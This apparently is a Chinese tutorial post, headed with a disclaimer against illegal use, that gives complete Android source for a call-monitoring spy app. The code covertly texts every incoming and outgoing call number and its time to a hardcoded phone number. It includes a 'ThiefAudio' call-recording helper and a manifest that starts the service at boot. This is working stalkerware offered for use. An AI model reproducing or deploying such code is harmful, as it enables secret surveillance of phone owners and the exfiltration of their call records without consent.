切记:不可用于非法活动!
不用编写main.xml文件
在MessageSendUtil.java中:
package com.li.phone;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
public class MessageSendUtil {
private Context context = null;
private Intent intent = null;
public MessageSendUtil(Context context, Intent intent) {
this.context = context;
this.intent = intent;
}
public void send(String recieveNumber, String phoneNumber, String type) {
SmsManager smsManager = SmsManager.getDefault();
PendingIntent sentIntent = PendingIntent.getActivity(this.context, 0,
this.intent, PendingIntent.FLAG_UPDATE_CURRENT);
String content = "电话号码:"
+ phoneNumber
+ "
类型:"
+ type
+ "
操作时间:"
+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")
.format(new Date());
smsManager.sendTextMessage(recieveNumber, null, content, sentIntent,
null);
}
}
在PhoneBroadcastReceiver.java中:
package com.li.phone;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class PhoneBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电
String outgoingNumber = intent
.getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码
Intent pit = new Intent(context, PhoneService.class);
pit.putExtra("outgoingNumber", outgoingNumber);
context.startService(pit);
} else { // 来电
context.startService(new Intent(context, PhoneService.class));
}
}
}
在PhoneService.java中:
package com.li.phone;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneService extends Service {
private TelephonyManager telephony = null;
private String outgoingNumber = null;
private RecordAudioUtil raUtil = null;
private Intent intent = null ;
@Override
public void onCreate() { // 服务创建的时候操作
super.onCreate();
this.telephony = (TelephonyManager) super
.getSystemService(Context.TELEPHONY_SERVICE);
this.telephony.listen(new PhoneStateListenerImpl(),
PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作
}
@Override
public void onStart(Intent intent, int startId) {
this.outgoingNumber = intent.getStringExtra("outgoingNumber");
this.intent = intent ;
super.onStart(intent, startId);
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 挂断电话
if (PhoneService.this.raUtil != null) { // 保险
PhoneService.this.raUtil.stop();
PhoneService.this.raUtil = null;
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 领音响起
new MessageSendUtil(PhoneService.this, PhoneService.this.intent)
.send("13471819361", incomingNumber, "拨入");
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话
new MessageSendUtil(PhoneService.this, PhoneService.this.intent)
.send("13471819361", PhoneService.this.outgoingNumber,
"呼出");
break;
}
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
在RecordAudioUtil.java中:
package com.li.phone;
import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.media.MediaRecorder;
import android.os.Environment;
public class RecordAudioUtil {
private MediaRecorder mediaRecorder = null;
private String recDir = "theifaudio";
private File recordAudioSaveFileDir = null;
private boolean sdcardExists = false;
private boolean isRecord = false;
private String phoneNumber = null; // 电话号码
private String callType = null; // 呼叫类型
public RecordAudioUtil(String phoneNumber, String callType) {
this.phoneNumber = phoneNumber;
this.callType = callType;
if ((this.sdcardExists = Environment.getExternalStorageState().equals(
Environment.MEDIA_MOUNTED))) {
this.recordAudioSaveFileDir = new File(Environment
.getExternalStorageDirectory().toString()
+ File.separator
+ this.recDir + File.separator);
if (!this.recordAudioSaveFileDir.exists()) {
this.recordAudioSaveFileDir.mkdirs();
}
}
}
public File record() { // 进行电话的录音,同时返回文件的路径
File recordAudioSaveFile = null;
String recordAudioSaveFileName = null;
if (this.sdcardExists) { // sd卡存在
recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()
+ File.separator
+ "ThiefAudio_"
+ new SimpleDateFormat("yyyyMMddhhmmssSSS")
.format(new Date()) + "_" + this.callType + "_"
+ this.phoneNumber + ".3gp";
recordAudioSaveFile = new File(recordAudioSaveFileName);
this.mediaRecorder = new MediaRecorder();
this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
this.mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
this.mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
this.mediaRecorder.setOutputFile(recordAudioSaveFileName);
try {
this.mediaRecorder.prepare();
} catch (Exception e) {
e.printStackTrace() ;
}
this.mediaRecorder.start();
this.isRecord = true;
}
return recordAudioSaveFile;
}
public void stop() {
if (this.isRecord) {
this.mediaRecorder.stop();
this.mediaRecorder.reset() ;
this.mediaRecorder.release();
}
}
}
在MyPhoneDemo.java中:
package com.li.phone;
import android.app.Activity;
import android.os.Bundle;
public class MyPhoneDemo extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
}
修AndroidManifest.xml改:
"http://schemas.android.com/apk/res/android"
package="com.li.phone"
android:versionCode="1"
android:versionName="1.0" >
"8"
android:targetSdkVersion="15" />
"android.permission.READ_PHONE_STATE" />
"android.permission.PROCESS_OUTGOING_CALLS" />
"android.permission.RECORD_AUDIO" />
"android.permission.WRITE_EXTERNAL_STORAGE" />
"android.permission.SEND_SMS">
"@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
".MyPhoneDemo"
android:label="@string/title_activity_my_phone_demo" >
"android.intent.action.MAIN" />
"android.intent.category.LAUNCHER" />
".PhoneService" />
".PhoneBroadcastReceiver">
"android.intent.action.NEW_OUTGOING_CALL" />
"android.intent.action.BOOT_COMPLETED" />
"android.intent.action.PHONE_STATE" />